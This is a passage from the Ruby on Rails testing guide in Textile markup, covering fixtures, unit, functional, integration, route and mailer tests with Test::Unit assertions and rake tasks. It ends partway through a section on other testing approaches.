Applications + +This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to: + +* Understand Rails testing terminology +* Write unit, functional and integration tests for your application +* Identify other popular testing approaches and plugins + +This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things. + +endprologue. + +h3. Why Write Tests for your Rails Applications? + +* Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers. +* By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring. +* Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser. + +h3. Introduction to Testing + +Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data. + +h4. The Three Environments + +Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing. + +One place you'll find this distinction is in the +config/database.yml+ file. This YAML configuration file has 3 different sections defining 3 unique database setups: + +* production +* development +* test + +This allows you to set up and interact with test data without any danger of your tests altering data from your production environment. + +For example, suppose you need to test your new +delete_this_user_and_every_everything_associated_with_it+ function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not? + +When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running +rake db:test:prepare+. + +h4. Rails Sets up for Testing from the Word Go + +Rails creates a +test+ folder for you as soon as you create a Rails project using +rails _application_name_+. If you list the contents of this folder then you shall see: + +<shell> +$ ls -F test/ + +fixtures/ functional/ integration/ test_helper.rb unit/ +</shell> + +The +unit+ folder is meant to hold tests for your models, the +functional+ folder is meant to hold tests for your controllers, and the +integration+ folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the +fixtures+ folder. The +test_helper.rb+ file holds the default configuration for your tests. + +h4. The Low-Down on Fixtures + +For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures. + +h5. What are Fixtures? + +_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: *YAML* or *CSV*. In this guide we will use *YAML* which is the preferred format. + +You'll find fixtures under your +test/fixtures+ directory. When you run +script/generate model+ to create a new model, fixture stubs will be automatically created and placed in this directory. + +h5. YAML + +YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+). + +Here's a sample YAML fixture file: + +<yaml> +# low & behold! I am a YAML comment! +david: + name: David Heinemeier Hansson + birthday: 1979-10-15 + profession: Systems development + +steve: + name: Steve Ross Kellock + birthday: 1974-09-27 + profession: guy with keyboard +</yaml> + +Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column. + +h5. ERb'in It Up + +ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data. + +<erb> +<% earth_size = 20 -%> +mercury: + size: <%= earth_size / 50 %> + brightest_on: <%= 113.days.ago.to_s(:db) %> + +venus: + size: <%= earth_size / 2 %> + brightest_on: <%= 67.days.ago.to_s(:db) %> + +mars: + size: <%= earth_size - 69 %> + brightest_on: <%= 13.days.from_now.to_s(:db) %> +</erb> + +Anything encased within the + +<erb> +<% %> +</erb> + +tag is considered Ruby code. When this fixture is loaded, the +size+ attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The +brightest_on+ attribute will also be evaluated and formatted by Rails to be compatible with the database. + +h5. Fixtures in Action + +Rails by default automatically loads all fixtures from the 'test/fixtures' folder for your unit and functional test. Loading involves three steps: + +* Remove any existing data from the table corresponding to the fixture +* Load the fixture data into the table +* Dump the fixture data into a variable in case you want to access it directly + +h5. Hashes with Special Powers + +Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example: + +<ruby> +# this will return the Hash for the fixture named david +users(:david) + +# this will return the property for david called id +users(:david).id +</ruby> + +Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class. + +<ruby> +# using the find method, we grab the "real" david as a User +david = users(:david).find + +# and now we have access to methods only available to a User class +email(david.girlfriend.email, david.location_tonight) +</ruby> + +h3. Unit Testing your Models + +In Rails, unit tests are what you write to test your models. + +For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and would be supplementing it with additional examples where necessary. + +NOTE: For more information on Rails _scaffolding_, refer to "Getting Started with Rails":getting_started.html + +When you use +script/generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder: + +<pre> +$ script/generate scaffold post title:string body:text +... +create app/models/post.rb +create test/unit/post_test.rb +create test/fixtures/posts.yml +... +</pre> + +The default test stub in +test/unit/post_test.rb+ looks like this: + +<ruby> +require 'test_helper' + +class PostTest < ActiveSupport::TestCase + # Replace this with your real tests. + def test_truth + assert true + end +end +</ruby> + +A line by line examination of this file will help get you oriented to Rails testing code and terminology. + +<ruby> +require 'test_helper' +</ruby> + +As you know by now that +test_helper.rb+ specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests. + +<ruby> +class PostTest < ActiveSupport::TestCase +</ruby> + +The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide. + +<ruby> +def test_truth +</ruby> + +Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run. + +<ruby> +assert true +</ruby> + +This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check: + +* is this value = that value? +* is this object nil? +* does this line of code throw an exception? +* is the user's password greater than 5 characters? + +Every test contains one or more assertions. Only when all the assertions are successful the test passes. + +h4. Preparing your Application for Testing + +Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands: + +<shell> +$ rake db:migrate +... +$ rake db:test:load +</shell> + +Above +rake db:migrate+ runs any pending migrations on the _developemnt_ environment and updates +db/schema.rb+. +rake db:test:load+ recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run +db:test:prepare+ as it first checks for pending migrations and warns you appropriately. + +NOTE: +db:test:prepare+ will fail with an error if db/schema.rb doesn't exists. + +h5. Rake Tasks for Preparing your Application for Testing + +|_.Tasks |_.Description| +|+rake db:test:clone+ |Recreate the test database from the current environment's database schema| +|+rake db:test:clone_structure+ |Recreate the test databases from the development structure| +|+rake db:test:load+ |Recreate the test database from the current +schema.rb+| +|+rake db:test:prepare+ |Check for pending migrations and load the test schema| +|+rake db:test:purge+ |Empty the test database.| + +TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+ + +h4. Running Tests + +Running a test is as simple as invoking the file containing the test cases through Ruby: + +<shell> +$ cd test +$ ruby unit/post_test.rb + +Loaded suite unit/post_test +Started +. +Finished in 0.023513 seconds. + +1 tests, 1 assertions, 0 failures, 0 errors +</shell> + +This will run all the test methods from the test case. + +You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+. + +<pre> +$ ruby unit/post_test.rb -n test_truth + +Loaded suite unit/post_test +Started +. +Finished in 0.023513 seconds. + +1 tests, 1 assertions, 0 failures, 0 errors +</pre> + +The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary. + +To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case. + +<ruby> +def test_should_not_save_post_without_title + post = Post.new + assert !post.save +end +</ruby> + +Let us run this newly added test. + +<pre> +$ ruby unit/post_test.rb -n test_should_not_save_post_without_title +Loaded suite unit/post_test +Started +F +Finished in 0.197094 seconds. + + 1) Failure: +test_should_not_save_post_without_title(PostTest) + [unit/post_test.rb:11:in `test_should_not_save_post_without_title' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']: +<false> is not true. + +1 tests, 1 assertions, 1 failures, 0 errors +</pre> + +In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here: + +<ruby> +def test_should_not_save_post_without_title + post = Post.new + assert !post.save, "Saved the post without a title" +end +</ruby> + +Running this test shows the friendlier assertion message: + +<pre> +$ ruby unit/post_test.rb -n test_should_not_save_post_without_title +Loaded suite unit/post_test +Started +F +Finished in 0.198093 seconds. + + 1) Failure: +test_should_not_save_post_without_title(PostTest) + [unit/post_test.rb:11:in `test_should_not_save_post_without_title' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']: +Saved the post without a title. +<false> is not true. + +1 tests, 1 assertions, 1 failures, 0 errors +</pre> + +Now to get this test to pass we can add a model level validation for the _title_ field. + +<ruby> +class Post < ActiveRecord::Base + validates_presence_of :title +end +</ruby> + +Now the test should pass. Let us verify by running the test again: + +<pre> +$ ruby unit/post_test.rb -n test_should_not_save_post_without_title +Loaded suite unit/post_test +Started +. +Finished in 0.193608 seconds. + +1 tests, 1 assertions, 0 failures, 0 errors +</pre> + +Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD). + +TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with "15 TDD steps to create a Rails application":http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html. + +To see how an error gets reported, here's a test containing an error: + +<ruby> +def test_should_report_error + # some_undefined_variable is not defined elsewhere in the test case + some_undefined_variable + assert true +end +</ruby> + +Now you can see even more output in the console from running the tests: + +<pre> +$ ruby unit/post_test.rb -n test_should_report_error +Loaded suite unit/post_test +Started +E +Finished in 0.195757 seconds. + + 1) Error: +test_should_report_error(PostTest): +NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x2cc9de8> + /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing' + unit/post_test.rb:16:in `test_should_report_error' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__' + /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run' + +1 tests, 0 assertions, 0 failures, 1 errors +</pre> + +Notice the 'E' in the output. It denotes a test with error. + +NOTE: The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order. + +h4. What to Include in Your Unit Tests + +Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model. + +h4. Assertions Available + +By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned. + +There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required. + +|_.Assertion |_.Purpose| +|+assert( boolean, [msg] )+ |Ensures that the object/expression is true.| +|+assert_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is true.| +|+assert_not_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is false.| +|+assert_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is true.| +|+assert_not_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is false.| +|+assert_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is true.| +|+assert_not_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is false.| +|+assert_match( regexp, string, [msg] )+ |Ensures that a string matches the regular expression.| +|+assert_no_match( regexp, string, [msg] )+ |Ensures that a string doesn't matches the regular expression.| +|+assert_in_delta( expecting, actual, delta, [msg] )+ |Ensures that the numbers +expecting+ and +actual+ are within +delta+ of each other.| +|+assert_throws( symbol, [msg] ) { block }+ |Ensures that the given block throws the symbol.| +|+assert_raise( exception1, exception2, ... ) { block }+ |Ensures that the given block raises one of the given exceptions.| +|+assert_nothing_raised( exception1, exception2, ... ) { block }+ |Ensures that the given block doesn't raise one of the given exceptions.| +|+assert_instance_of( class, obj, [msg] )+ |Ensures that +obj+ is of the +class+ type.| +|+assert_kind_of( class, obj, [msg] )+ |Ensures that +obj+ is or descends from +class+.| +|+assert_respond_to( obj, symbol, [msg] )+ |Ensures that +obj+ has a method called +symbol+.| +|+assert_operator( obj1, operator, obj2, [msg] )+ |Ensures that +obj1.operator(obj2)+ is true.| +|+assert_send( array, [msg] )+ |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?| +|+flunk( [msg] )+ |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.| + +Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier. + +NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial. + +h4. Rails Specific Assertions + +Rails adds some custom assertions of its own to the +test/unit+ framework: + +|_.Assertion |_.Purpose| +|+assert_valid(record)+ |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.| +|+assert_difference(expressions, difference = 1, message = nil) {...}+ |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.| +|+assert_no_difference(expressions, message = nil, &block)+ |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.| +|+assert_recognizes(expected_options, path, extras={}, message=nil)+ |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.| +|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.| +|+assert_response(type, message = nil)+ |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range| +|+assert_redirected_to(options = {}, message=nil)+ |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.| +|+assert_template(expected = nil, message=nil)+ |Asserts that the request was rendered with the appropriate template file.| + +You'll see the usage of some of these assertions in the next chapter. + +h3. Functional Tests for Your Controllers + +In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view. + +h4. What to Include in your Functional Tests + +You should test for things such as: + +* was the web request successful? +* was the user redirected to the right page? +* was the user successfully authenticated? +* was the correct object stored in the response template? +* was the appropriate message displayed to the user in the view + +Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory. + +Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+. + +<ruby> +def test_should_get_index + get :index + assert_response :success + assert_not_nil assigns(:posts) +end +</ruby> + +In the +test_should_get_index+ test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable. + +The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments: + +* The action of the controller you are requesting. This can be in the form of a string or a symbol. +* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables). +* An optional hash of session variables to pass along with the request. +* An optional hash of flash values. + +Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session: + +<ruby> +get(:show, {'id' => "12"}, {'user_id' => 5}) +</ruby> + +Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message. + +<ruby> +get(:view, {'id' => '12'}, nil, {'message' => 'booya!'}) +</ruby> + +NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so. + +Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass: + +<ruby> +def test_should_create_post + assert_difference('Post.count') do + post :create, :post => { :title => 'Some title'} + end + + assert_redirected_to post_path(assigns(:post)) +end +</ruby> + +Now you can try running all the tests and they should pass. + +h4. Available Request Types for Functional Tests + +If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 5 request types supported in Rails functional tests: + +* +get+ +* +post+ +* +put+ +* +head+ +* +delete+ + +All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others. + +h4. The Four Hashes of the Apocalypse + +After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use: + +* +assigns+ - Any objects that are stored as instance variables in actions for use in views. +* +cookies+ - Any cookies that are set. +* +flash+ - Any objects living in the flash. +* +session+ - Any object living in session variables. + +As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example: + +<ruby> + flash["gordon"] flash[:gordon] + session["shmession"] session[:shmession] + cookies["are_good_for_u"] cookies[:are_good_for_u] + +# Because you can't use assigns[:something] for historical reasons: + assigns["something"] assigns(:something) +</ruby> + +h4. Instance Variables Available + +You also have access to three instance variables in your functional tests: + +* +@controller+ - The controller processing the request +* +@request+ - The request +* +@response+ - The response + +h4. A Fuller Functional Test Example + +Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+: + +<ruby> +def test_should_create_post + assert_difference('Post.count') do + post :create, :post => { :title => 'Hi', :body => 'This is my first post.'} + end + assert_redirected_to post_path(assigns(:post)) + assert_equal 'Post was successfully created.', flash[:notice] +end +</ruby> + +h4. Testing Views + +Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax. + +NOTE: You may find references to +assert_tag+ in other documentation, but this is now deprecated in favor of +assert_select+. + +There are two forms of +assert_select+: + ++assert_select(selector, [equality], [message])+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object. + ++assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants. + +For example, you could verify the contents on the title element in your response with: + +<ruby> +assert_select 'title', "Welcome to Rails Testing Guide" +</ruby> + +You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer +assert_select+ block: + +<ruby> +assert_select 'ul.navigation' do + assert_select 'li.menu_item' +end +</ruby> + +Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass. + +<ruby> +assert_select "ol" do |elements| + elements.each do |element| + assert_select element, "li", 4 + end +end + +assert_select "ol" do + assert_select "li", 8 +end +</ruby> + +The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionController/Assertions/SelectorAssertions.html. + +h5. Additional View-Based Assertions + +There are more assertions that are primarily used in testing views: + +|_.Assertion |_.Purpose| +|+assert_select_email+ |Allows you to make assertions on the body of an e-mail. | +|+assert_select_rjs+ |Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element.| +|+assert_select_encoded+ |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.| +|+css_select(selector)+ or +css_select(element, selector)+ |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.| + +Here's an example of using +assert_select_email+: + +<ruby> +assert_select_email do + assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.' +end +</ruby> + +h3. Integration Testing + +Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application. + +Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you. + +<shell> +$ script/generate integration_test user_flows + exists test/integration/ + create test/integration/user_flows_test.rb +</shell> + +Here's what a freshly-generated integration test looks like: + +<ruby> +require 'test_helper' + +class UserFlowsTest < ActionController::IntegrationTest + # fixtures :your, :models + + # Replace this with your real tests. + def test_truth + assert true + end +end +</ruby> + +Integration tests inherit from +ActionController::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test. + +h4. Helpers Available for Integration Tests + +In addition to the standard testing helpers, there are some additional helpers available to integration tests: + +|_.Helper |_.Purpose| +|+https?+ |Returns +true+ if the session is mimicking a secure HTTPS request.| +|+https!+ |Allows you to mimic a secure HTTPS request.| +|+host!+ |Allows you to set the host name to use in the next request.| +|+redirect?+ |Returns +true+ if the last request was a redirect.| +|+follow_redirect!+ |Follows a single redirect response.| +|+request_via_redirect(http_method, path, [parameters], [headers])+ |Allows you to make an HTTP request and follow any subsequent redirects.| +|+post_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP POST request and follow any subsequent redirects.| +|+get_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP GET request and follow any subsequent redirects.| +|+put_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP PUT request and follow any subsequent redirects.| +|+delete_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP DELETE request and follow any subsequent redirects.| +|+open_session+ |Opens a new session instance.| + +h4. Integration Testing Examples + +A simple integration test that exercises multiple controllers: + +<ruby> +require 'test_helper' + +class UserFlowsTest < ActionController::IntegrationTest + fixtures :users + + def test_login_and_browse_site + # login via https + https! + get "/login" + assert_response :success + + post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password + assert_equal '/welcome', path + assert_equal 'Welcome avs!', flash[:notice] + + https!(false) + get "/posts/all" + assert_response :success + assert assigns(:products) + end +end +</ruby> + +As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application. + +Here's an example of multiple sessions and custom DSL in an integration test + +<ruby> +require 'test_helper' + +class UserFlowsTest < ActionController::IntegrationTest + fixtures :users + + def test_login_and_browse_site + + # User avs logs in + avs = login(:avs) + # User guest logs in + guest = login(:guest) + + # Both are now available in different sessions + assert_equal 'Welcome avs!', avs.flash[:notice] + assert_equal 'Welcome guest!', guest.flash[:notice] + + # User avs can browse site + avs.browses_site + # User guest can browse site aswell + guest.browses_site + + # Continue with other assertions + end + + private + + module CustomDsl + def browses_site + get "/products/all" + assert_response :success + assert assigns(:products) + end + end + + def login(user) + open_session do |sess| + sess.extend(CustomDsl) + u = users(user) + sess.https! + sess.post "/login", :username => u.username, :password => u.password + assert_equal '/welcome', path + sess.https!(false) + end + end +end +</ruby> + +h3. Rake Tasks for Running your Tests + +You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project. + +|_.Tasks |_.Description| +|+rake test+ |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.| +|+rake test:units+ |Runs all the unit tests from +test/unit+| +|+rake test:functionals+ |Runs all the functional tests from +test/functional+| +|+rake test:integration+ |Runs all the integration tests from +test/integration+| +|+rake test:recent+ |Tests recent changes| +|+rake test:uncommitted+ |Runs all the tests which are uncommitted. Only supports Subversion| +|+rake test:plugins+ |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)| + +h3. Brief Note About +Test::Unit+ + +Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+ that it is how we can use all the basic assertions in our tests. + +NOTE: For more information on +Test::Unit+, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/ + +h3. Setup and Teardown + +If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller: + +<ruby> +require 'test_helper' + +class PostsControllerTest < ActionController::TestCase + + # called before every single test + def setup + @post = posts(:one) + end + + # called after every single test + def teardown + # as we are re-initializing @post before every test + # setting it to nil here is not essential but I hope + # you understand how you can use the teardown method + @post = nil + end + + def test_should_show_post + get :show, :id => @post.id + assert_response :success + end + + def test_should_destroy_post + assert_difference('Post.count', -1) do + delete :destroy, :id => @post.id + end + + assert_redirected_to posts_path + end + +end +</ruby> + +Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as ActiveSupport::Callbacks. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using: + +* a block +* a method (like in the earlier example) +* a method name as a symbol +* a lambda + +Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol: + +<ruby> +require '../test_helper' + +class PostsControllerTest < ActionController::TestCase + + # called before every single test + setup :initialize_post + + # called after every single test + def teardown + @post = nil + end + + def test_should_show_post + get :show, :id => @post.id + assert_response :success + end + + def test_should_update_post + put :update, :id => @post.id, :post => { } + assert_redirected_to post_path(assigns(:post)) + end + + def test_should_destroy_post + assert_difference('Post.count', -1) do + delete :destroy, :id => @post.id + end + + assert_redirected_to posts_path + end + + private + + def initialize_post + @post = posts(:one) + end + +end +</ruby> + +h3. Testing Routes + +Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like: + +<ruby> +def test_should_route_to_post + assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" } +end +</ruby> + +h3. Testing Your Mailers + +Testing mailer classes requires some specific tools to do a thorough job. + +h4. Keeping the Postman in Check + +Your +ActionMailer+ classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected. + +The goals of testing your +ActionMailer+ classes are to ensure that: + +* emails are being processed (created and sent) +* the email content is correct (subject, sender, body, etc) +* the right emails are being sent at the right times + +h5. From All Sides + +There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture -- yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time. + +h4. Unit Testing + +In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced. + +h5. Revenge of the Fixtures + +For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory. + +When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself. + +h5. The Basic Test Case + +Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action. + +<ruby> +require 'test_helper' + +class UserMailerTest < ActionMailer::TestCase + tests UserMailer + def test_invite + @expected.from = 'me@example.com' + @expected.to = 'friend@example.com' + @expected.subject = "You have been invited by #{@expected.from}" + @expected.body = read_fixture('invite') + @expected.date = Time.now + + assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded + end + +end +</ruby> + +In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file. + +Here's the content of the +invite+ fixture: + +<pre> +Hi friend@example.com, + +You have been invited. + +Cheers! +</pre> + +This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+). + +However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be. + +h4. Functional Testing + +Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately: + +<ruby> +require 'test_helper' + +class UserControllerTest < ActionController::TestCase + def test_invite_friend + assert_difference 'ActionMailer::Base.deliveries.size', +1 do + post :invite_friend, :email => 'friend@example.com' + end + invite_email = ActionMailer::Base.deliveries.first + + assert_equal invite_email.subject, "You have been invited by me@example.com" + assert_equal invite_email.to[0], 'friend@example.com' + assert_match /Hi friend@example.com/, invite_email.body + end +end +</ruby> + +h3. Other Testing Approaches + +The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including: + +* 